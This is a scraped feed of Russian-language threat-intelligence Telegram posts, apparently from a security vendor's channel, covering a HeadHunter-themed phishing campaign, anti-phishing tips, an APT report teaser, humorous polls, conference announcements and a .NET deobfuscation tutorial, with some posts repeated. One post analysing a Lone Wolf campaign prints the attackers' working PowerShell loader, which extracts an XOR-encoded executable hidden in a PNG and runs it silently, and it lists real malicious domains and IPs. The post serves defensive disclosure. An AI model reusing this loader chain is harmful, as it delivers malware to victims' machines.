«Я буду *** твоих рыб» 🐟
В середине октября группа киберразведки засекла фишинговую активность в адрес HR-подразделений строительного сектора.
Злоумышленники рассылали письма якобы от HeadHunter с требованием верифицировать аккаунт на стороннем сайте. Введенные на этой странице email и одноразовый код использовались для перехвата учетной записи, после чего жертва теряла к ней доступ (скриншот 1).
Ссылка ведет на фишинговый домен
Страница имеет два состояния интерфейса. При наличии
Такое разделение используется для сокрытия страницы от лиц, не попавших в список рассылки.
🪞 Верстка и статика копируют
На фишинговой странице имитируется связка «почта → код подтверждения». Пользователь вводит email, скрипт проверяет формат регулярным выражением и делает POST-запрос, в тело которого кладут еще и токен формата Base64, который генерируется прямо в браузере из User-Agent, текущего времени и случайной строки.
❗️ Отметим, что в марте этого года нами уже фиксировалась аналогичная фишинговая кампания от имени HeadHunter. Тогда в навигации тоже присутствовал пункт «Зарегестрироваться» с той же характерной ошибкой, и с тем же принципом компрометации аккаунта: связка «почта → одноразовый код → перехват учетной записи» с последующей потерей доступа.
Злоумышленники также собирают телеметрию. Она реализована через создание объекта Image и присвоение ему src, чтобы браузер отправил GET на внешний адрес с параметрами домена и меткой времени (скриншот 5).
Задача сбора телеметрии утилитарная: оператор видит реальный IP посетителя и время захода на конкретный домен, что может говорить о наличии у операторов дополнительных фишинговых доменов.
IP-адрес
🖕 Фишинговый домен имеет антиотладку. Скрипт перехватывает контекстное меню, выделение и копирование, горячие сочетания клавиш, которыми обычно открывают исходники и DevTools: Ctrl+U, Ctrl+S, Ctrl+Shift+I/J/C и F12. При срабатывании «запрещенной» клавиши страница стирает содержимое body и накладывает поверх черный полноэкранный блок с сообщением (скриншоты 6–7).
В защите нет ничего сложного: она не умеет обнаруживать открытые DevTools и никак не прячет исходники вне текущего документа. Самый простой способ обойти ее — открыть DevTools через меню браузера до загрузки страницы или отключить выполнение JavaScript для этого домена и перезагрузить вкладку, чтобы снять HTML и статические ресурсы.
Помимо комментариев на русском языке в коде, в разметке оставлена украинская раскладка: в теге
📝 В самом фишинговом письме группировка использовала логотип HH, который подгружался из GitHub-репозитория (скриншот 8). Репозиторий (скриншот 9) создан в октябре 2022 года и содержит проекты фишинговых сайтов, в одном из которых находился самописный стилер, накрытый протектором. Вредоносное ПО при запуске ворует куки и пары «логин — пароль», отправляя все в телеграм-канал злоумышленника.
Телеграм-аккаунт, куда бот отправляет украденные данные, также мимикрирует под сотрудника компании HeadHunter (скриншот 10).
#TI #Phishing
@ptescalator
В середине октября группа киберразведки засекла фишинговую активность в адрес HR-подразделений строительного сектора.
Злоумышленники рассылали письма якобы от HeadHunter с требованием верифицировать аккаунт на стороннем сайте. Введенные на этой странице email и одноразовый код использовались для перехвата учетной записи, после чего жертва теряла к ней доступ (скриншот 1).
Ссылка ведет на фишинговый домен
hhcasa.xyz, который закрыт за Cloudflare и зарегистрирован с помощью главного регистратора доменов Украины nic.ua (скриншот 2).Страница имеет два состояния интерфейса. При наличии
auth=1 показывается основная сцена «успешного шага», при отсутствии — альтернатива (скриншоты 3–4).Такое разделение используется для сокрытия страницы от лиц, не попавших в список рассылки.
hh.ru: в <head> тянутся Google Fonts и favicon с i.hh.ru, логотип и шапка повторяют стиль, а пункты навигации кликабельны и направляют пользователя на легитимный домен simferopol.hh.ru, что создает впечатление «чистого» сайта. Однако в навигации присутствует пункт «Зарегестрироваться» с орфографической ошибкой, что выступает индикатором подмены сайта.На фишинговой странице имитируется связка «почта → код подтверждения». Пользователь вводит email, скрипт проверяет формат регулярным выражением и делает POST-запрос, в тело которого кладут еще и токен формата Base64, который генерируется прямо в браузере из User-Agent, текущего времени и случайной строки.
Злоумышленники также собирают телеметрию. Она реализована через создание объекта Image и присвоение ему src, чтобы браузер отправил GET на внешний адрес с параметрами домена и меткой времени (скриншот 5).
Задача сбора телеметрии утилитарная: оператор видит реальный IP посетителя и время захода на конкретный домен, что может говорить о наличии у операторов дополнительных фишинговых доменов.
IP-адрес
185.162.10.35, на который отправляется телеметрия, находится в ASN 59729 (GREEN FLOID LLC). По результатам анализа и pDNS-наблюдений, на этом IP также размещаются и ранее размещались другие фишинговые домены, которые, так же как и hhcasa.xyz, были зарегистрированы с помощью nic.ua.hhrunaх.xyz;hscac.xyz;hmnsc.xyz.В защите нет ничего сложного: она не умеет обнаруживать открытые DevTools и никак не прячет исходники вне текущего документа. Самый простой способ обойти ее — открыть DevTools через меню браузера до загрузки страницы или отключить выполнение JavaScript для этого домена и перезагрузить вкладку, чтобы снять HTML и статические ресурсы.
Помимо комментариев на русском языке в коде, в разметке оставлена украинская раскладка: в теге
<html> задан lang="ua", вероятно, этот атрибут проставился автоматически при генерации шаблона и его просто забыли поменять.📝 В самом фишинговом письме группировка использовала логотип HH, который подгружался из GitHub-репозитория (скриншот 8). Репозиторий (скриншот 9) создан в октябре 2022 года и содержит проекты фишинговых сайтов, в одном из которых находился самописный стилер, накрытый протектором. Вредоносное ПО при запуске ворует куки и пары «логин — пароль», отправляя все в телеграм-канал злоумышленника.
Телеграм-аккаунт, куда бот отправляет украденные данные, также мимикрирует под сотрудника компании HeadHunter (скриншот 10).
#TI #Phishing
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
😁29👍15🔥8💩4❤3👎2💯1
Поиск фишинговой инфраструктуры на этапе подготовки 🧱
В защите организации от фишинговых угроз полезно не ограничиваться только блокировкой уже разосланных писем и URL-ссылок. Необходимо применять техники обнаружения угроз на этапе подготовки. Пока злоумышленник регистрирует домен или выпускает SSL-сертификат, мы можем попытаться его вычислить и нейтрализовать, не дожидаясь первой жертвы.
Далее разберем некоторые инструменты и тактики проактивной защиты от фишинга.
Мониторинг доменов💻
Первое, что делает злоумышленник, — регистрирует домен. В случае подделки какого-то оригинального сервиса можно ожидать, что регистрируемый домен будет визуально схож с подделываемым доменом. Это классический сквоттинг.
Мы можем настроить мониторинг и реагировать на регистрацию тех доменов, которые схожи с интересующими нас сервисами и брендами. Важно помнить, что регистрировать подобные домены могут и сами владельцы, поэтому необходимо дополнительно проверять регистрантов домена и сравнивать их с оригиналом, чтобы избежать ложноположительных сработок.
Анализ SSL-сертификатов🤔
Малое число переходов по ссылкам без валидного SSL-сертификата вынуждает злоумышленников озадачиться его выпуском. Большинство известных крупных центров сертификации ведут открытое журналирование всех выпускаемых SSL-сертификатов, и полученный из него список объектов защиты может быть использован для анализа. Методика анализа может быть такой же, как и для доменов, полученных путем мониторинга. Стоит отметить, что сам факт выпуска SSL-сертификата для подозрительного домена может считаться признаком планируемой на ближайшее будущее фишинговой атаки.
Проверка хостнеймов на домене😐
Часто встречаются ситуации, когда жадные руки злоумышленника одновременно тянутся к большому числу брендов. Для этого он регистрирует один домен и один wildcard-сертификат, причем этот домен визуально ни с чем не схож. Для разделения между подделываемыми брендами злоумышленник использует домены более высокого уровня, например
Получить у DNS-сервера полный состав доменной зоны практически невозможно и на большом потоке доменных имен не принесет результата. Здесь необходимо будет воспользоваться собранными из внешних источников или TI-порталов разведданными либо попробовать самостоятельно перебрать различные поддомены на предмет их существования.
Связи по регистрантам🕊
Анализ данных о владельце домена может выявить сеть связанных ресурсов, зарегистрированных одной и той же организацией для серии атак. Связующим индикатором может быть имя регистранта (если оно не скрыто настройками приватности) или же его контактная информация: email или телефон. По мере накопления знаний, полученных в процессе проактивного поиска фишинговых доменов, мы можем собрать список недобросовестных регистрантов и по нему реагировать на новые публикации доменов. Конечно, рассчитывать на то, что злоумышленник под одним и тем же именем (не скрытым настройками приватности) будет раз за разом публиковать фишинговые домены, крайне оптимистично, но данный инструмент проверки не должен быть исключен из арсенала.
🏗По итогу, обнаружив «строящуюся» фишинговую площадку, мы можем:
• внести обнаруженные сетевые индикаторы во внутренние списки в средствах защиты информации;
• предупредить сотрудников организации или пользователей сервиса;
• при наличии опубликованного фишингового контента или почтовой рассылки — передать эти сведения регистратору и хостинг-провайдеру для проведения takedown'а и снижения эффективности атаки.
#TI #tip #phishing
@ptesacaltor
В защите организации от фишинговых угроз полезно не ограничиваться только блокировкой уже разосланных писем и URL-ссылок. Необходимо применять техники обнаружения угроз на этапе подготовки. Пока злоумышленник регистрирует домен или выпускает SSL-сертификат, мы можем попытаться его вычислить и нейтрализовать, не дожидаясь первой жертвы.
Далее разберем некоторые инструменты и тактики проактивной защиты от фишинга.
Мониторинг доменов
Первое, что делает злоумышленник, — регистрирует домен. В случае подделки какого-то оригинального сервиса можно ожидать, что регистрируемый домен будет визуально схож с подделываемым доменом. Это классический сквоттинг.
Мы можем настроить мониторинг и реагировать на регистрацию тех доменов, которые схожи с интересующими нас сервисами и брендами. Важно помнить, что регистрировать подобные домены могут и сами владельцы, поэтому необходимо дополнительно проверять регистрантов домена и сравнивать их с оригиналом, чтобы избежать ложноположительных сработок.
Анализ SSL-сертификатов
Малое число переходов по ссылкам без валидного SSL-сертификата вынуждает злоумышленников озадачиться его выпуском. Большинство известных крупных центров сертификации ведут открытое журналирование всех выпускаемых SSL-сертификатов, и полученный из него список объектов защиты может быть использован для анализа. Методика анализа может быть такой же, как и для доменов, полученных путем мониторинга. Стоит отметить, что сам факт выпуска SSL-сертификата для подозрительного домена может считаться признаком планируемой на ближайшее будущее фишинговой атаки.
Проверка хостнеймов на домене
Часто встречаются ситуации, когда жадные руки злоумышленника одновременно тянутся к большому числу брендов. Для этого он регистрирует один домен и один wildcard-сертификат, причем этот домен визуально ни с чем не схож. Для разделения между подделываемыми брендами злоумышленник использует домены более высокого уровня, например
<brand>.domain.xyz. Наличие подобных поддоменов у вновь зарегистрированного домена может быть индикатором готовности к проведению фишинговой атаки.Получить у DNS-сервера полный состав доменной зоны практически невозможно и на большом потоке доменных имен не принесет результата. Здесь необходимо будет воспользоваться собранными из внешних источников или TI-порталов разведданными либо попробовать самостоятельно перебрать различные поддомены на предмет их существования.
Связи по регистрантам
Анализ данных о владельце домена может выявить сеть связанных ресурсов, зарегистрированных одной и той же организацией для серии атак. Связующим индикатором может быть имя регистранта (если оно не скрыто настройками приватности) или же его контактная информация: email или телефон. По мере накопления знаний, полученных в процессе проактивного поиска фишинговых доменов, мы можем собрать список недобросовестных регистрантов и по нему реагировать на новые публикации доменов. Конечно, рассчитывать на то, что злоумышленник под одним и тем же именем (не скрытым настройками приватности) будет раз за разом публиковать фишинговые домены, крайне оптимистично, но данный инструмент проверки не должен быть исключен из арсенала.
🏗По итогу, обнаружив «строящуюся» фишинговую площадку, мы можем:
• внести обнаруженные сетевые индикаторы во внутренние списки в средствах защиты информации;
• предупредить сотрудников организации или пользователей сервиса;
• при наличии опубликованного фишингового контента или почтовой рассылки — передать эти сведения регистратору и хостинг-провайдеру для проведения takedown'а и снижения эффективности атаки.
#TI #tip #phishing
@ptesacaltor
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥15❤10👍8
Группа киберразведки PT ESC представила обзор кибератак за III квартал 2025 года ✍️
В отчете рассмотрены хакерские атаки на инфраструктуры российских организаций и типовые цепочки группировок — от первоначального доступа до закрепления.
🙅♂️ За период отмечена активность таких групп, как PseudoGamaredon, TA Tolik, XDSpy, PhantomCore, Rare Werewolf, Goffee, IAmTheKing, Telemancon, DarkWatchman и Black Owl.
✉️ Фишинговые кампании шли непрерывно и маскировались под деловую переписку. Использовались:
• Запароленные архивы с LNK-, SCR-, COM-загрузчиками и документами-приманками; fake-CAPTCHA c запуском PowerShell.
• RMM и удаленный доступ (UltraVNC, AnyDesk), REST-C2 и многоступенчатые загрузчики.
• Редирект-логика: прошел проверку — скачивается полезная нагрузка; не прошел — происходит переадресация на заглушку легитимного сервиса.
• Zero-day-уязвимости: эксплуатация CVE-2025-8088 группировкой Goffee.
Полный отчет — на нашем сайте.
#TI #APT #Malware #Phishing
@ptescalator
В отчете рассмотрены хакерские атаки на инфраструктуры российских организаций и типовые цепочки группировок — от первоначального доступа до закрепления.
• Запароленные архивы с LNK-, SCR-, COM-загрузчиками и документами-приманками; fake-CAPTCHA c запуском PowerShell.
• RMM и удаленный доступ (UltraVNC, AnyDesk), REST-C2 и многоступенчатые загрузчики.
• Редирект-логика: прошел проверку — скачивается полезная нагрузка; не прошел — происходит переадресация на заглушку легитимного сервиса.
• Zero-day-уязвимости: эксплуатация CVE-2025-8088 группировкой Goffee.
Полный отчет — на нашем сайте.
#TI #APT #Malware #Phishing
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥24❤16👍11
Самое плохое, что может произойти в Хэллоуин с вашей инфраструктурой 🎃
Anonymous Poll
15%
Обнуление счетов компании 💰
7%
Удаление виртуальных машин 🗑
12%
Шифрование узлов 🔓
12%
Mimikatz на DC 🐱
3%
Дефейс сайта ☺️
7%
Пропавшие бэкапы 😱
4%
Слив тайных фоток в новостях 📸
4%
Ошибка 503 🤗
18%
Объявление в даркнете о продаже вашей БД 😭
17%
Внеплановая проверка регулятора 👋
😁19🔥6🤯4😭2✍1❤1🐳1🍓1
Одинокий волк тебе не товарищ 🐺
Группа киберразведки зафиксировала очередную фишинговую кампанию группировки Lone Wolf: злоумышленники используют стеганографию для скрытой доставки загрузчика вредоносного ПО.
Жертве отправляют архив (скриншот 1) с двумя файлами: размытым изображением «досудебное.png» (скриншот 2) и ярлыком «сверка.lnk». Открытие ярлыка приводит к запуску PowerShell с параметрами скрытого окна и обходом политики выполнения.
👨🎨 При запуске скрипт читает байты изображения, берет ключ из 145-го байта и находит в ASCII-представлении последний маркер PNG-чанка IDAT. Затем берет все, что идет за ним, декодирует с помощью XOR и сохраняет результат во временном каталоге как
Запущенный
Внутри HTA-файла содержится код на VBScript, который вновь запускает PowerShell для распаковки Base64-строки как файла
🎭 Вся цепочка демонстрирует последовательную многоступенчатую маскировку:
• стеганография в PNG (T1027.003) + обфускация или кодирование (T1027, T1140);
• пользовательское выполнение LNK-файла (T1204.002) в рамках фишинга с вложением (T1566.001);
• загрузка удаленного компонента (HTA-файла) по сети (T1105);
• выполнение HTA-файла через прокси-сервер с помощью
• использование скриптовых интерпретаторов (VBScript, PowerShell) в качестве средств развертывания (T1059.005, T1059.001);
• рефлективная загрузка и выполнение полезных нагрузок в памяти (T1620).
💡 Сетевая инфраструктура, с которой взаимодействует вредоносное ПО, не менялась с марта текущего года.
IoCs
Домены
IP-адреса
Хеш-суммы
Дополнительные индикаторы
#TI #APT #Phishing
@ptescalator
Группа киберразведки зафиксировала очередную фишинговую кампанию группировки Lone Wolf: злоумышленники используют стеганографию для скрытой доставки загрузчика вредоносного ПО.
Жертве отправляют архив (скриншот 1) с двумя файлами: размытым изображением «досудебное.png» (скриншот 2) и ярлыком «сверка.lnk». Открытие ярлыка приводит к запуску PowerShell с параметрами скрытого окна и обходом политики выполнения.
-WindowStyle Hidden -ExecutionPolicy Bypass -Command
"$data=[IO.File]::ReadAllBytes('досудебное.png');
$key=$data[144];
$file=$env:TEMP+'\yVLQbWaX.exe';
$i=[Text.Encoding]::ASCII.GetString($data).LastIndexOf('IDAT')+4;
$xdata = ($data[$i..$data.Length] | ForEach-Object { $_ -bxor $key }); [IO.File]::WriteAllBytes($file, $xdata);
Start-Process -FilePath $file -WindowStyle Hidden"
👨🎨 При запуске скрипт читает байты изображения, берет ключ из 145-го байта и находит в ASCII-представлении последний маркер PNG-чанка IDAT. Затем берет все, что идет за ним, декодирует с помощью XOR и сохраняет результат во временном каталоге как
%TEMP%\yVLQbWaX.exe, после чего запускает его. Таким образом, изображение выступает контейнером для полезной нагрузки с параметрами скрытого окна и обходом политики выполнения. Примененная техника извлечения из сегмента IDAT концептуально повторяет подход, ранее замеченный в семействе загрузчиков IDAT Loader (HijackLoader), что указывает на переиспользование или заимствование решений из существующего вредоносного ПО.Запущенный
yVLQbWaX.exe обращается по адресу ezstat.ru/flowersforlove.gif. Указанный домен при обращении перенаправляет на контролируемый злоумышленниками ресурс valisi.ru, на котором фактически размещен вредоносный HTA-файл. Его выполняет системная утилита mshta.exe.Внутри HTA-файла содержится код на VBScript, который вновь запускает PowerShell для распаковки Base64-строки как файла
gzip в памяти и для дальнейшего запуска результата. Анализ показал, что итоговый шеллкод соответствует Beacon — полезной нагрузке Cobalt Strike. Финальный этап реализует «бесфайловое» выполнение в оперативной памяти через рефлективную загрузку.🎭 Вся цепочка демонстрирует последовательную многоступенчатую маскировку:
• стеганография в PNG (T1027.003) + обфускация или кодирование (T1027, T1140);
• пользовательское выполнение LNK-файла (T1204.002) в рамках фишинга с вложением (T1566.001);
• загрузка удаленного компонента (HTA-файла) по сети (T1105);
• выполнение HTA-файла через прокси-сервер с помощью
mshta.exe (T1218.005);• использование скриптовых интерпретаторов (VBScript, PowerShell) в качестве средств развертывания (T1059.005, T1059.001);
• рефлективная загрузка и выполнение полезных нагрузок в памяти (T1620).
💡 Сетевая инфраструктура, с которой взаимодействует вредоносное ПО, не менялась с марта текущего года.
IoCs
Домены
valisi.ru
ecols.ru
IP-адреса
91.218.228.26
188.120.232.76
Хеш-суммы
ec2924d70d86d24e911202b1523c1858
ae7996444c3d9dbc66c6768993a032c3ca39cc59
6b139dec14e03afdaa6ac51415a9d097eaddb9b7ebba5f77575404c5395ff778
bc957c0d268732c83c4b1a33a37a5854
7c5e95a312567541c9839b9aeefdb66f8b92ffe8
ae8c52e498f5c9a328cf9a2b18b5caf11b677108c4da6ac556a66ccb99faba17
38bcebee4a5c0a18a4794ad7c882e536
af2c5c5113389b16351577837087d2a5f618edca
dcee83c2859df268528002c8b5cdfb2d7821985b36e5b5fab8eb9de4cbc812e1
aed3b15ef7c731cdc8e84c0de42adcdc
bc3a04ccdd5e7de167d2f4d3e75239087075e03c
2d91100a95a2d26c8bcf42dea5aeddb3bfad84b1827bc1b7670a9eac8a0936b8
Дополнительные индикаторы
gemme-cotti.ru
seko-group.ru
run-xin.ru
mzmz.ru
igran.ru
dewatering.ru
clwater.ru
ivaco.su
hydrochem.ru
гидрохим.рф
#TI #APT #Phishing
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥32👍17👏7❤6
Взломали ли вас за три рабочих дня? 🥷
Anonymous Poll
4%
Да (напишите нам) 😔
23%
Нет (ну и ладно) 😴
1%
Взломали до (тоже напишите) 😭
6%
Да, но не хакеры 🪞
15%
В понедельник будет понятно 🧑💻
4%
Просто технические работы ⚙️
10%
Я в отпуске, ничего не знаю 🏝
9%
Еще не вечер 🌚
10%
Нас взломать невозможно 🙅
17%
Взломал 😄
😁12🔥10🤣6👍2👾1
Телеграм попал в белые списки. Телеграм не попал в белые списки. А какие списки больше всего любите вы? ✍️
Anonymous Poll
6%
Белый список 👍
3%
Черный список 👎
4%
Список исключений 👌
1%
Список критичных активов ❗️
17%
Список IOC 🤚
21%
Список дел, которые я точно сделаю… Когда-нибудь 💯
2%
Список подозрительных действий 😑
5%
Список правок от заказчика 😤
10%
Список уязвимостей 👾
30%
Список со списками списков 📑
❤12😁10👀8👎2
Выступаем на SOC FORUM 2025 🎤
Если вы здесь — заходите, а если нет — смотрите онлайн. Вот наша программа на ближайшие дни:
➡️ 18 ноября
• 13:15, зал №3. Денис Гойденко, руководитель департамента комплексного реагирования на угрозы PT ESC, представит результаты расследований инцидентов ИБ за 2025 год. Он поделится обширной статистикой по типам атак, использованным методам и целям хакеров.
➡️ 20 ноября
• 10:30, зал №3. О том, как действует APT31 сегодня, в своем докладе расскажут Варвара Колоскова, специалист группы исследования сложных угроз PT ESC, и Даниил Григорян, старший специалист департамента комплексного реагирования на киберугрозы PT ESC. Будут разобраны последние пополнения в арсенале злоумышленника: вариации бэкдоров COFFProxy и AufTime, инструменты с облачными C2 VtChatter, OneDriveDoor, CloudyLoader.
• 11:00, зал №4. Дмитрий Федосов, руководитель отдела наступательной безопасности PT ESC, и Владислав Дриев, ведущий специалист того же отдела, расскажут о своем опыте автоматизации рутины пентеста, проблемах, с которыми столкнулись, особенностях известных инструментов (Masscan, NetExec, Impacket, NTLM Relay и других), а также о том, как тестировали полученные решения.
До встречи офлайн и онлайн🤝
Если вы здесь — заходите, а если нет — смотрите онлайн. Вот наша программа на ближайшие дни:
• 13:15, зал №3. Денис Гойденко, руководитель департамента комплексного реагирования на угрозы PT ESC, представит результаты расследований инцидентов ИБ за 2025 год. Он поделится обширной статистикой по типам атак, использованным методам и целям хакеров.
• 10:30, зал №3. О том, как действует APT31 сегодня, в своем докладе расскажут Варвара Колоскова, специалист группы исследования сложных угроз PT ESC, и Даниил Григорян, старший специалист департамента комплексного реагирования на киберугрозы PT ESC. Будут разобраны последние пополнения в арсенале злоумышленника: вариации бэкдоров COFFProxy и AufTime, инструменты с облачными C2 VtChatter, OneDriveDoor, CloudyLoader.
• 11:00, зал №4. Дмитрий Федосов, руководитель отдела наступательной безопасности PT ESC, и Владислав Дриев, ведущий специалист того же отдела, расскажут о своем опыте автоматизации рутины пентеста, проблемах, с которыми столкнулись, особенностях известных инструментов (Masscan, NetExec, Impacket, NTLM Relay и других), а также о том, как тестировали полученные решения.
До встречи офлайн и онлайн
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥22❤13👍12👏2
APT31. Атаки разящей панды 🐼
С 2024 по 2025 год российские IT-компании, работающие как подрядчики и интеграторы решений для государственных органов, столкнулись с серией хорошо продуманных и ловко реализованных целевых атак, что позволяло злоумышленникам долго оставаться необнаруженными.
В процессе расследования инцидентов за этот промежуток времени нам удалось связать некоторые атаки с группой APT31, нацеленной в основном на промышленный шпионаж и кражу интеллектуальной собственности. Группа маскирует свои инструменты под легитимное программное обеспечение. Еще одной характерной особенностью ее поведения — использование легитимных сервисов для создания двустороннего канала связи с ВПО.
🥷 О тактиках и техниках группы, а также ее уникальных инструментах можно прочитать в нашем блоге.
#TI #APT #DFIR #malware
С 2024 по 2025 год российские IT-компании, работающие как подрядчики и интеграторы решений для государственных органов, столкнулись с серией хорошо продуманных и ловко реализованных целевых атак, что позволяло злоумышленникам долго оставаться необнаруженными.
В процессе расследования инцидентов за этот промежуток времени нам удалось связать некоторые атаки с группой APT31, нацеленной в основном на промышленный шпионаж и кражу интеллектуальной собственности. Группа маскирует свои инструменты под легитимное программное обеспечение. Еще одной характерной особенностью ее поведения — использование легитимных сервисов для создания двустороннего канала связи с ВПО.
#TI #APT #DFIR #malware
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥24👍14🦄9🙏3🤔2
В октябре 2025 года нашей группой киберразведки была зафиксирована продолжающаяся фишинговая активность хакерской группировки, обозначенной нами как NetMedved. Атаки были нацелены на российские организации: жертвам рассылались ZIP-архивы с набором документов-приманок, имитирующих документооборот российских компаний, а также замаскированными LNK-файлами, которые инициировали загрузку следующего стейджа и развертывание NetSupportRAT на устройствах жертв.
Операторы ВПО использовали несколько векторов атаки — от более классических цепочек с PowerShell-скриптами и HTA-файлами до значительно более редкого приема: доставки вредоносного кода по протоколу Finger и его последующего исполнения в командной строке.
Проанализировав активность и сетевую инфраструктуру NetMedved, мы увидели устойчивые пересечения с декабрьской кампанией 2024 года против российских компаний, о которой ранее писали в посте «PrevedMedved 👋 — это снова Lumma Stealer».
Подробности атаки, разбор используемых TTP и обоснование выбора нейминга группировки — в нашем блоге на Хабре.
#TI #APT #Phishing
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥14👍10❤9
Сколько дней вы не пили (сок) на этой неделе? 🧃
Anonymous Poll
33%
Вообще не пил 🙈
6%
Один 🤪
2%
50/50 🍺
4%
Только на SOC FORUM 💪
3%
Все дни, кроме SOC FORUM 🤷♂️
2%
Утром пью, вечером не пью 🌞
5%
Вечером пью, утром страдаю 😩
11%
Пил, пью, буду пить 👍
13%
Польза сока преувеличена 🙅♂️
21%
А какой сегодня день? 🤔
😁13🔥7👍6
Деобфусцируем имена функций .NET вручную 🙌
ВПО на .NET обожает пакеры, обфускацию (имен, CFG и прочего) и многоэтапные рефлективные подгрузки образов. При этом открытые деобфускаторы всегда отстают от актуальных версий их противоположностей, если вообще поддерживаются. Рассмотрим один из таких случаев.
Предположим, что у нас уже есть дамп необходимого процесса и некоторое знание о том, где в памяти лежала нужная нам нагрузка, а также бинарь, который мы смогли оттуда достать (о том, как это делать автоматизировано расскажем как-нибудь в другой раз).
Откроем бинарь в dnSpy и увидим следующую картину (скриншот 1).
Вспомним, что существует de4dot и попробуем скормить ему бинарь. Взяв то, что похоже на наиболее актуальную версию среди кучи форков (или форков форков (или форков форков форков)), выполним команду:
Результат на скриншоте 2.
Не повезло. Но по ошибке становится понятно, что проблема где-то в логике переименования и связана она может быть, например, с используемым пакером или с тем, что бинарь был выдран из дампа не до конца корректно. Придется исправить их вручную.
🐍Попробуем сделать это на питоне, используя связку dnfile и dncil, набросав код для сбора обфусцированных имен функций и полей (скриншот 3).
Теперь необходимо написать логику по патчингу имен непосредственно в бинаре. Однако, есть момент, связанный с тем, что...такой функциональности у dncil нет .
Перепишем то же самое на C#, позаимствовав
Заведем класс Utils, с двумя функциями — проверкой валидности имени и формированием нового имени (скриншот 4). Наконец, опишем основную логику по переименованию типов, методов, свойств, полей и событий классов (скриншот 5). Результат прогона программы представлен на скриншоте 6.
Видно, методы и поля были переименованы и все отработало успешно. При этом важно понимать, что не всегда можно вот так «в лоб» деобфусцировать имена с сохранением функциональности программы. Например, если образ будет в рантайме искать какую-то функцию по ее строковому имени — после подобных манипуляций он ее не найдет.
Для статического же анализа такой подход вполне удобен — вместо тонны одинакового мусора, не вмещающегося в экран, можно получить короткие имена интересующих полей. Если повторно пройтись глазами по полученному бинарю, то можно найти еще какое-то количество обфусцированных полей: имена переменных в методах, некоторые структуры и т.д. При желании их можно исправить аналогичным образом.
👀 Резюмируя вышеописанное:
В альтернативном случае можно сразу обращаться к
Happy reversing!
#TI #reverse #malware #tip
@ptescalator
ВПО на .NET обожает пакеры, обфускацию (имен, CFG и прочего) и многоэтапные рефлективные подгрузки образов. При этом открытые деобфускаторы всегда отстают от актуальных версий их противоположностей, если вообще поддерживаются. Рассмотрим один из таких случаев.
Предположим, что у нас уже есть дамп необходимого процесса и некоторое знание о том, где в памяти лежала нужная нам нагрузка, а также бинарь, который мы смогли оттуда достать (о том, как это делать автоматизировано расскажем как-нибудь в другой раз).
Откроем бинарь в dnSpy и увидим следующую картину (скриншот 1).
Вспомним, что существует de4dot и попробуем скормить ему бинарь. Взяв то, что похоже на наиболее актуальную версию среди кучи форков (или форков форков (или форков форков форков)), выполним команду:
> de4dotex .\sample.bin -vv
Результат на скриншоте 2.
Не повезло. Но по ошибке становится понятно, что проблема где-то в логике переименования и связана она может быть, например, с используемым пакером или с тем, что бинарь был выдран из дампа не до конца корректно. Придется исправить их вручную.
🐍Попробуем сделать это на питоне, используя связку dnfile и dncil, набросав код для сбора обфусцированных имен функций и полей (скриншот 3).
Теперь необходимо написать логику по патчингу имен непосредственно в бинаре. Однако, есть момент, связанный с тем, что...
Перепишем то же самое на C#, позаимствовав
dnlib.dll у de4dot, дабы не страдать с самостоятельной ее сборкой. А чтобы не путаться среди кучи меню Visual Studio, просто приведем .csproj к следующему виду (требуется .Net 4.8 и его SDK):<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<TargetFramework>net48</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<LangVersion>10.0</LangVersion>
<Nullable>enable</Nullable>
<OutputType>Exe</OutputType>
</PropertyGroup>
<ItemGroup>
<Reference Include="dnlib">
<HintPath>dnlib.dll</HintPath>
</Reference>
</ItemGroup>
</Project>
Заведем класс Utils, с двумя функциями — проверкой валидности имени и формированием нового имени (скриншот 4). Наконец, опишем основную логику по переименованию типов, методов, свойств, полей и событий классов (скриншот 5). Результат прогона программы представлен на скриншоте 6.
Видно, методы и поля были переименованы и все отработало успешно. При этом важно понимать, что не всегда можно вот так «в лоб» деобфусцировать имена с сохранением функциональности программы. Например, если образ будет в рантайме искать какую-то функцию по ее строковому имени — после подобных манипуляций он ее не найдет.
Для статического же анализа такой подход вполне удобен — вместо тонны одинакового мусора, не вмещающегося в экран, можно получить короткие имена интересующих полей. Если повторно пройтись глазами по полученному бинарю, то можно найти еще какое-то количество обфусцированных полей: имена переменных в методах, некоторые структуры и т.д. При желании их можно исправить аналогичным образом.
👀 Резюмируя вышеописанное:
dncil — удобен, если требуется кроссплатформенность и отсутствует потребность в модификации данных. Таковой, например, является задача поиска конструктора, заполняющего конфигурацию ВПО.В альтернативном случае можно сразу обращаться к
dnlib или инструментам на его основе.Happy reversing!
#TI #reverse #malware #tip
@ptescalator
🔥27👍10❤9